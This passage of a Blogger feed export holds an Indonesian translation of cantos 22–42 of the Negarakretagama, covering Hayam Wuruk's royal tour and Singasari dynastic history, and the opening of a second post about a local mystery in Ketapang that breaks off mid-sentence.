tersiram riak gelombang berpancar seperti hutan.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;Tapi sang rakawi tidak ikut berkunjung di Bacok, pergi  menyidat jalan. Dari Sadeng ke utara menjelang Balung, terus menuju  Tumbu dan Habet. Galagah, Tampaling, beristirahatlah di Renes seraya  menanti Baginda. Segera berjumpa lagi dalam perjalanan ke Jayakreta –  Wanagriya.&lt;br /&gt;&lt;strong&gt;Pupuh 23&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Melalui Doni Bontong, Puruhan, Bacek, Pakisaji, Padangan  terus ke Secang. Terlintas Jati Gumelar, Silabango. Ke utara ke Dewa  Rame dan Dukun.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Lalu berangkat ke Pakembangan. Di situ bermalam; segera  berangkat. Sampailah beliau ke ujung lurah Daya. Yang segera dituruni  sampai jurang.&lt;br /&gt;&lt;strong&gt;Pupuh 24&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Terlalu lancer lari kereta melintasi Palayangan dan  Bengkong, dua desa tanpa cerita, terus menuju Sarana, mereka yang merasa  lelah ingin berehat. Lainnya bergegas berebut jalan menuju Surabasa.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Terpalang matahari terbenam berhenti di padang lalang. Senja  pun turun, sapi lelah dilepas dari pasangan. Perjalanan membelok ke  utara melintasi Turayan. Beramai-ramai lekas-lekas ingin mencapai  Patukangan.&lt;br /&gt;&lt;strong&gt;Pupuh 25&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Panjang lamun dikisahkan kelakuan para menteri dan abdi.  Beramai-ramai Baginda telah sampai di Desa Patukangan. Di tepi laut  lebar tenang rata terbentang di barat Talakrep. Sebelah utara pakuwuan  pesanggrahan Baginda Nata.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Semua menteri mancanagara hadir di Pakuwuan. Juga Jaksa  Pasungguhan Sang Wangsadiraja ikut menghadap. Para Upapati yang tanpa  cela, para pembesar agama. Panji siwa dan Panji budha, faham hukum dan  putus sastra.&lt;br /&gt;&lt;strong&gt; &lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Pupuh 26&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sang Adipati Suradikara memimpin upacara sambutan. Diikuti  segenap penduduk daerah wilayah Patukangan. Menyampaikan persembahan,  girang bergilir dianugerahi kain. Girang rakyat girang raja, Pakuwuan  berlimpah kegirangan.&lt;br /&gt;&lt;strong&gt;Pupuh 27&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Untuk mengurangi sumuk akibat teriknya matahari. Baginda mendekati permaisuri seperti dewa dewi. Para puteri laksana &lt;em&gt;apsari &lt;/em&gt; turun dari kahyangan. Hilangnya keganjlan berganti pandang penuh heran cengang.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Berbagai-bagai permainan diadakan demi kesukaan. Berbuat  segala apa yang membuat gembira penduduk. Menari topeng, bergumul,  bergulat, membuat orang kagum. Sungguh beliau dewa menjelma, sedang  mengedari dunia.&lt;br /&gt;&lt;strong&gt;Pupuh 28&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Selama kunjungan di Desa Patukangan. Para menteri dari Bali  dan Madura. Dari Balumbung, kepercayaan Baginda. Menteri seluruh Jawa  Timur berkumpul.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Persembahan bulu bekti bertumpah limpah. Babi, gudel,  kerbau, sapi, ayam dan anjing. Bahan kain yang diterima bertumpuk  timbun. Para penonton tercengang-cengang memandang.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tersebut keesokan hari pagi-pagi. Baginda keluar di  tengah-tengah rakyat. Diiringi para kawi serta pujangga. Menabur harta,  membuat gembira rakyat.&lt;br /&gt;&lt;strong&gt;Pupuh 29&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Hanya pujangga yang menyamar Prapanca sedih tanpa upama.  Berkabung kehilangan kawan kawi-Budha Panji Kertajaya. Teman bersuka  ria, teman karib dalam upacara gama. Beliau dipanggil pulang, sedang  mulai menggubah karya megah.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Kusangka tetap sehat, sanggup mengantar aku ke mana juga.  Beliau tahu tempat-tempat mana yang layak pantas dilihat. Rupanya sang  pujangga ingin mewariskan karya megah indah. Namun mangkatlah beliau,  ketika aku tiba, tak terduga.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Itulah lantarannya aku turut berangkat ke Desa Keta.  Melewati Tal tunggal, Halalang-panjang, Pacaran dari Bungatan. Sampai  Toya Rungun, Walanding, terus Terapas, lalu bermalam. Paginya berangkat  ke Lemah Abang, segera tiba di Keta.&lt;br /&gt;&lt;strong&gt;Pupuh 30&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tersebutlah perjalanan Sri Narapati kea rah barat. Segera  sampai Keta dan tinggal disana lima hari. Girang beliau melihat lautan,  memandang balai kambang. Tidak lupa menghirup kesenangan lain hingga  puas.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Atas perintah sang arya semua menteri menghadap. Wiraprana  bagai kepala, upapati Siwa-Budha. Mengalir rakyat yang datang sukarela  tanpa diundang. Membawa bahan santapan, girang menerima balasan.&lt;br /&gt;&lt;strong&gt;Pupuh 31&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Keta telah ditinggalkan. Jumlah pengiring makin bertambah.  Melintasi Banyu Hening, perjalanan sampai Sampora. Terus ke Daleman  menuju Wawaru, Gerbang, Krebilan. Sampai di Kalayu Baginda berhenti  ingin menyekar.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Kalayu adalah nama desa perdikan kasogatan. Tempat candi  makam sanak kadang Baginda raja. Penyekaran di makam dilakukan dengan  sangat hormat. “Memegat Sigi” nama upacara penyekaran itu.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Upacara berlangsung menepati segenap aturan. Mulai dengan  jamuan makan meriah tanpa upama. Para patih mengarak Sri Baginda menuju  paseban. Genderang dan kendang bergetar mengikuti gerak tandak.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Habis penyekaran raja menghirup segala kesukaan. Mengunjungi  desa-desa disekitarnya genap lengkap. Beberapa malam lamanya berlomba  dalam kesukaan. Memeluk wanita cantik dan meriba gadis remaja.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Kalayu ditinggalkan, perjalanan menuju Kutugan. Melalui  Kebon Agung, menuju Kambangrawi, bermalam. Tanah anugerah Sri Nata  kepada Tumenggung Nala. Candinya Budha menjulang tinggi, sangat elok  bentuknya.&lt;br /&gt;6.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Perjamuan Tumenggung Nala jauh dari cela. Tidak diuraikan  betapa lahap Baginda Nala bersantap. Paginya berangkat lagi ke Halses,  B’rurang. Patunjungan. Terus langsung melintasi Patentanan, Tarub dan  Lesan.&lt;br /&gt;&lt;strong&gt;Pupuh 32&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Segera Sri Baginda sampai di Pajarakan, di sana bermalam  empat hari. Di tanah lapang sebelah candi Budha beliau memasang tenda.  Dipimpin Arya Sujanottama para menteri dan pendeta datang menghadap.  Menghaturkan pacitan dan santapan, girang menerima anugerah uang.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Berangkat dari situ Sri Baginda menuju asrama di rimba  Sagara. Mendaki bukit-bukit ke arah selatan dan melintasi terusan Buluh.  Melalui wilayah Gede, sebentar lagi sampai di asrama sagara. Letaknya  gaib ajaib di tengah-tengah hutan membangkitkan rasa kagum rindu.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sang pujangga Prapanca yang memang senang bermenung tidak  selalu menghadap. Girang melancong ke taman melepaskan lelah melupakan  segala duka. Rela melalaikan paseban mengabaikan tata tertib para  pendeta. Memburu nafsu menjelajah rumah berbanjar-banjar dalam deretan  berjajar.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tiba di taman bertingkat, di tepi pesanggrahan tempat bunga  tumbuh lebat. Suka cita Prapanca membaca cacahan (pahatan) dengan  slokanya di dalam cita. Di atas atap terpahat ucapan sloka yang disertai  nama. Pancaksara pada penghabisan tempat terpahat samar-samar,  menggirangkan.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Pemandiannya penuh lukisan dongengan berpagar batu gosok  tinggi. Berhamburan bunga nagakusuma di halaman yang dilingkupi selokan.  Andung, karawita, kayu mas, menur serta kayu puring dan lain-lainnya.  Kelapa gading kuning rendah, menguntai di sudut mengharu rindu  pandangan.&lt;br /&gt;6.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tiada sampailah kata merah keindahan asrama yang gaib dan  ajaib. Beratapkan hijuk, dari dalam dan luar berkesan kerasnya tata  tertib. Semua para pertapa, wanita dan pria, tua-muda, nampaknya bijak.  Luput dari cela dan klesa, seolah-olah Siwapada di atas dunia.&lt;br /&gt;&lt;strong&gt;Pupuh 33&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Habis berkeliling asrama, Baginda lalu dijamu. Para pendeta  pertapa yang ucapannya sedap resap. Segala santapan yang tersedia dalam  pertapaan. Baginda membalas harta, membuat mereka gembira.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Dalam pertukaran kata tentang arti kependetaan. Mereka  mencurahkan isi hati, tiada tertahan. Akhirnya cengkerama ke taman penuh  dengan kesukaan. Kegirang-girangan para pendeta tercengang memandang.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Habis kesukaan memberi isyarat akan berangkat. Pandang  sayang yang ditinggal mengikuti langkah yang pergi. Bahkan yang masih  remaja puteri sengaja merenung. Batinnya: dewa asmara turun untuk datang  menggoda.&lt;br /&gt;&lt;strong&gt;Pupuh 34&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Baginda berangkat, asrama tinggal berkabung. Bambu menutup  mata, sedih melepas selubung. Sirih menangis merintih, ayam roga  menjerit. Tiung mengeluh sedih, menitikkan air matanya.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Kereta lari cepat, karena jalan menurun. Melintasi rumah dan  sawah ditepi jalan. Segera sampai Arya, menginap satu malam. Paginya ke  utara menuju Desa Gading.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Para menteri mancanegara dikepalai Singadikara, serta  pendeta Siwa-Budha. Membawa santapan sedap dengan upacara. Gembira  dibalas Baginda dengan emas dan kain.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Agak lama berhenti seraya istirahat. Mengunjungi para  penduduk segenap desa. Kemudian menuju Sungai Gawe, Sumanding, Borang,  Banger, Baremi lalu lurus ke barat.&lt;br /&gt;&lt;strong&gt;Pupuh 35&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sampai Pasuruan menyimpang jalan ke selatan menuju  Kepanjangan. Menganut jalan raya, kereta lari beriring-iring ke Andoh  Wawang. Ke Kedung Peluk dan Ke Hambal, desa penghabisan dalam ingatan.  Segera Baginda menuju Kota Singasari bermalam dib alai kota.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Prapanca tinggal disebelah barat Pasuruan ingin terus  melancong. Menuju Indarbaru yang letaknya di daerah Desa Hujung.  Berkunjung di rumah pengawasnya, menanyakan perkara tanah asrama.  Lempengan piagam pengukuh diperlihatkan, jelas setelah dibaca.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Isi piagam: tanah datar serta lembah dan gunungnya milik  wihara. Begitu pula dengan Markaman, lading balunghura, sawah hujung.  Isi piagam membujuk sang pujangga untuk tinggal jauh dari pura. Bila  telah habis kerja di Putusingin, ia menyingkir ke Indarbaru.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sebabnya terburu-buru berangkat setelah dijamu bapa asrama.  Karena ingat akan giliran menghadap di balai Singasari. Habis menyekar  di candi makam, Baginda mengumbar nafsu kesukaan. Menghirup sari  pemandangan di Kedung Biru, Kasurangganan dan Bureng.&lt;br /&gt;&lt;strong&gt;Pupuh 36&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Pada Subakala, Baginda berangkat ke selatan menuju  Kagenengan. Akan berbakti kepada makam Bhatara bersama segala  pengiringnya. Harta, perlengkapan, makanan, dan bunga mengikuti jalannya  kendaraan. Didahului kibaran bendera, disambut sorak sorai dari  penonton.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Habis penyekaran, &lt;em&gt;narapati&lt;/em&gt; keluar, dikerumuni  segenap rakyat. Pendeta Siwa-Budha dan para bangsawan berderet leret di  sisi beliau. Tidak diceritakan betapa lahab Baginda bersantap sampai  puas. Segenap rakyat girang menerima anugerah bahan pakaian yang indah.&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt; &lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Pupuh 37&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tersebutlah keindahan candi makam, bentuknya tiada bertara.  Pintu masuk terlalu lebar lagi tinggi, bersabuk dari luar di dalam,  terbentang halaman dengan rumah berderet di tepinya. Ditanami aneka  ragam bunga, tanjung, nagasari ajaib.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Menara lampai menjulang tinggi di tengah-tengah, terlalu  indah. Seperti gunung Meru, dengan arca Bhatara Siwa di dalamnya. Karena  Girinata putera disembah bagai Dewa Bhatara. Datu leluhur Sri Naranata  yang disembah di seluruh dunia.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sebelah selatan candi makam ada candi sunyi terbengkalai.  Tembok serta pintunya masih berdiri, berciri kasogatan. Lantai di dalam,  hilang kakinya bagian barat, tinggal yang timur. Sangar dan pemujaan  yang utuh, bertembok tinggi dari batu merah.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disebelah utara, tanah bekas kaki rumah sudahlah rata.  Terpancar tanamannya nagapuspa serta salaga di halaman. Diluar gapura  pabaktan luhur, tapi longsor tanahnya. Halaman luas tertutup rumput,  jalannya penuh dengan lumut.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Laksana perempuan sakit merana lukisannya lesu-pucat.  Berhamburan daun cemara yang ditempuh angin, kusut bergelung. Kelapa  gading melulur tapasnya, pinang letih lusuh merayu. Buluh gading melepas  kainnya, layu merana tak ada hentinya.&lt;br /&gt;6.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sedih mata memandang, tak berdaya untuk menyembuhkannya.  Kecuali menanti Hayam Wuruk sumber hidup segala makhluk. Beliau masyhur  bagai raja utama, bijak memperbaiki jagat. Pengasih bagi yang menderita  sedih, sungguh titisan Bhatara.&lt;br /&gt;7.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tersebut lagi, paginya Baginda berkunjung ke Candi Kidal.  Sesudah menyembah Bhatara, larut hari berangkat ke Jajago. Habis  menyembah arca Jina, beliau berangkat ke penginapan. Paginya menuju  Singasari, belum lelah telah sampai Bureng.&lt;br /&gt;&lt;strong&gt;Pupuh 38&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Keindahan Bureng: telaga bergumpal air jernih.  Kebiru-biruan, ditengah: candi karang bermekala. Tepinya rumah berderet,  penuh pelbagai ragam bunga. Tujuan para pelancong penyerap sari  kesenangan.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Terlewati keindahannya; berganti cerita &lt;em&gt;narpati&lt;/em&gt;.  Setelah reda terik matahari, melintas tegal tinggi. Rumputnya tebal  rata, hijau mengkilat, indah terpandang. Luas terlihat laksana lautan  kecil berombak jurang.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Seraya berkeliling kereta lari tergesa-gesa. Menuju  Singasari, segera masuk ke pesanggrahan. Sang pujangga singgah di rumah  pendeta Budha, sarjana pengawas candid an silsilah raja, pantas  dikunjungi.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Telah lanjut umurnya, jauh melintasi seribu bulan. Setia,  sopan, darah luhur, keluarga raja dan masyhur. Meskipun sempurna dalam  karya, jauh dari tingkah takabur. Terpuji pekerjaannya, pantas ditiru  keinsyafannya.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tamu mendadak diterima dengan girang dan ditegur: “Wahai,  orang bahagia, pujangga besar pengiring raja. Pelindung dan pengasih  keluarga yang mengharap kasih. Jamuan apa yang layak bagi paduka dan  tersedia?”&lt;br /&gt;6.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Maksud kedatanganya: ingin tahu sejarah leluhur para raja  yang dicandikan. Masih selalu dihadap. Ceritakanlah mulai dengan Bhatara  Kagenengan. Ceritakan sejarahnya jadi putera Girinata.&lt;br /&gt;&lt;strong&gt;Pupuh 39&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Paduka empuku menjawab: “Rakawi Maksud paduka sungguh merayu  hati. Sungguh paduka pujangga lepas budi. Tak putus menambah ilmu,  mahkota hidup”&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Izinkan saya akan segera mulai. Cita disucikan dengan air  sendang tujuh. Terpuji Siwa! Terpuji Girinata! Semoga terhindar aral,  waktu bertutur.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Semoga rakawi bersifat pengampun. Diantara kata terselip  salah. Harap percaya kepada orangtua. Kurang atau lebih janganlah  dicela.&lt;br /&gt;&lt;strong&gt;Pupuh 40&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Pada tahun Saka Lautan Dasa Bulan (1104) ada raja perwira  yuda. Putera Girinata, konon kabarnya, lahir di dunia tanpa ibu. Semua  orang tunduk, sujud menyembah kaki bagai tanda bakti. Rangga Rajasa nama  beliau, penggempur musuh pahlawan bijak.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Daerah luas sebelah timur Gunung Kawi terkenal subur makmur.  Di situlah tempat putera sang Girinata menunaikan darmanya.  Menggirangkan budiman, menyirnakan penjahat, meneguhkan Negara. Ibu  Negara bernama Kutaraja, penduduknya sangat terganggu.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tahun Saka Lautan Dadu Siwa (1144) beliau melawan raja Kediri. Sang adiperwira Kretajaya, putus sastra serta &lt;em&gt;tatwopadesa&lt;/em&gt;. Kalah ketakutan, melarikan diri ke dalam biara kecil. Semua pengawal dan perwira tentara yang tinggal, mati terbunuh.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Setelah kalah &lt;em&gt;narapati &lt;/em&gt;Kediri, Jawa di dalam  ketakutan. Semua raja datang menyembah membawa tanda bakti hasil tanah.  Bersatu Janggala Kediri dibawah kuasa satu raja sakti. Cikal bakal para  raja agung yang akan memerintah Pulau Jawa.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Makin bertambah besar kuasa dan megah putera sang Girinata.  Terjamin keselamatan Pulau Jawa selama menyembah kakinya. Tahun Saka  Muka Lautan Rudra (1149) beliau kembali ke Siwapada. Dicandikan di  Kagenengan bagai Siwa, di Usaha bagai Budha.&lt;br /&gt;&lt;strong&gt;Pupuh 41&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Bhatara Anusapati, putera Baginda, berganti dalam kekuasaan.  Selama pemerintahannya, tanah Jawa kokoh sentosa, bersembah bakti.  Tahun Saka Perhiasan Gunung Sambu (1170) beliau pulang ke Siwaloka.  Cahaya beliau diwujudkan arca Siwa gemilang di candi makam Kidal.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Bhatara Wisnuwardhana, putera Baginda, berganti dalam  kekuasaan. Beserta Narasinga bagai Madawa dengan Indra memerintah serta  segenap pengikutnya. Takut semua musuh kepada beliau, sungguh titisan  Siwa di Bumi.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tahun Saka Rasa Gunung Bulan (1176) Bhatara Wisnu menobatkan  puteranya. Segenap rakyat Kediri Janggala berduyun-duyun ke pura &lt;em&gt;mangastubagia&lt;/em&gt;.&lt;br /&gt;4.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Raja Kertanegara nama gelarannya, tetap demikian seterusnya.  Daerah Kutaraja bertambah makmur, berganti nama Praja Singasari.&lt;br /&gt;5.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tahun Saka Awan Sembilan Mengebumikan Tanah (1192) raja  Wisnu berpulang. Dicandikan di Waleri berlambang arca Siwa, di Jajago  arca Budha. Sementara itu Bhatara Narasingamurti pun pulang ke Surapada.  Dicandikan di Wengker, di Kumeper &amp;nbsp;diarcakan bagai Siwa Mahadewa.&lt;br /&gt;6.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tersebutlah Sri Baginda Kertanegara membinasakan perusuh  penjahat. Bernama Cayaraja, musnah pada tahun Saka naga mengalahkan  bulan (1192). Tahun Saka naga bermuka rupa (1197) Baginda menyuruh  menundukkan Melayu. Berharap Melayu takut kedewaan beliau tunduk begitu  sahaja.&lt;br /&gt;&lt;strong&gt;Pupuh 42&lt;/strong&gt;&lt;br /&gt;1.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tahun Saka janma suny surya (1202) Baginda raja memberantas  penjahat Mahisa Rangga, karena jahat tingkahnya dibenci seluruh Negara.  Tahun Saka badan langit surya (1206) mengirim utusan menghancurkan Bali.  Setelah kalah rajanya menghadap Baginda sebagai seorang tawanan.&lt;br /&gt;2.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Begitulah dari empat penjuru orang lari berlindung dibawah  Baginda. Seluruh Pahang, segenap Melayu tunduk menekur dihadapan beliau.  Seluruh Gurun, segenap Bakulapura lari mencari perlindungan. Sunda  Madura tak perlu dikatakan, sebab sudah terang setanah Jawa.&lt;br /&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Jauh dari tingkah alpa dan congkak, Baginda waspada tawakal  dan bijak. Faham akan segala seluk beluk pemerintahan sejak zaman Kali.  Karenanya, tawakal dalam agama dan tapa untuk teguhnya ajaran Budha.  Menganut jejak para leluhur demi keselamatan seluruh praja.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-8884464020331032289?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8884464020331032289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/8884464020331032289'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/terjemah-naskah-negarakretagama-1-42.html' title='Terjemah naskah negarakretagama 1-42'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-922227123586061056</id><published>2010-11-27T14:41:00.001+07:00</published><updated>2010-11-28T14:41:54.587+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='x file'/><title type='text'>Misteri Padang 12 (ketapang Kalbar)</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_lcn1O_24jBE/TPIHpg8hQWI/AAAAAAAAASA/4cLK-cANNJk/s1600/xfile.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_lcn1O_24jBE/TPIHpg8hQWI/AAAAAAAAASA/4cLK-cANNJk/s1600/xfile.jpeg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Misteri Padang 12 (ketapang Kalbar)&lt;br /&gt;&lt;br /&gt;mungkin blom banyak yang mendengar tentang padang 12(duabelas)&lt;br /&gt;biasanya orang orang sekitar ketapang saja yang mengetahui banyak tentang padang&lt;br /&gt;12.&lt;br /&gt;&lt;br /&gt;percaya atau tidak tetapi emang benar2 ada dan nyata&lt;br /&gt;&lt;br /&gt;sebuah kabupaten yang letaknya di propinsi kalimantan barat yang bernama&lt;br /&gt;kabupaten ketapang terdapat banyak misteri yang belum terungkap di sana&lt;br /&gt;saya mencoba mengangkat cerita yang belum pernah di publikasikan di media mana&lt;br /&gt;pun di indonesia mau pun di luar negeri yaitu PADANG 12&lt;br /&gt;&lt;br /&gt;di padang 12 terdapat sebuah perkampungan biasa yang masyarakatnya taat&lt;br /&gt;beribadah. orang 